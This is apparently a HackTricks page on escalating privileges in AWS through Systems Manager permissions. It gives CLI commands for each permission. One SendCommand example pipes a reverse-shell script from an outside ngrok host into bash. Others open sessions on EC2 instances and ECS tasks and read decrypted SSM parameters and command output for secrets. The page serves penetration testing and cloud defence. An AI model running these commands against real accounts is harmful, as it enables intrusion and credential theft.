# AWS - SSM Privesc

{{#include ../../../banners/hacktricks-training.md}}

## SSM

For more info about SSM check:

{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `ssm:SendCommand`

An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it.

```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
   --document-name "AWS-RunShellScript" --output text \
   --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```

In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with:

```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
   --document-name "AWS-RunShellScript" --output text \
   --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```

**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.

### `ssm:StartSession`

An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it.

```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
```

> [!CAUTION]
> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)

**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.

#### Privesc to ECS

When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\
According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\
Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running:

```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```

![](<../../../images/image (185).png>)

**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.

### `ssm:ResumeSession`

An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it.

```bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
    --session-id Mary-Major-07a16060613c408b5
```

**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions.

### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)

An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys.

```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```

**Potential Impact:** Find sensitive information inside the parameters.

### `ssm:ListCommands`

An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them.

```
aws ssm list-commands
```

**Potential Impact:** Find sensitive information inside the command lines.

### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)

An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it.

```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```

**Potential Impact:** Find sensitive information inside the output of the command lines.

### Codebuild

You can also use SSM to get inside a codebuild project being built:

{{#ref}}
aws-codebuild-privesc.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}



